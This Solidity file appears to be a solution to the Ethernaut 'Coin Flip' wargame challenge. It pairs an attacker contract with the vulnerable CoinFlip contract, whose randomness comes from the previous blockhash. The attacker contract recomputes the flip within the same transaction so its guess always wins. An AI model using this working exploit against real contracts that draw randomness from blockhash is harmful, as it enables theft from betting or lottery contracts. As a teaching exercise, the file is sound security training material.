ethernaut_coin_flip_hack.sol

// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.10 and less than 0.9.0
pragma solidity ^0.8.10;

contract Hack{

    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    constructor(address _target){
        target = CoinFlip(_target);
    }

    function flip() external{
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns (bool){
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}


contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}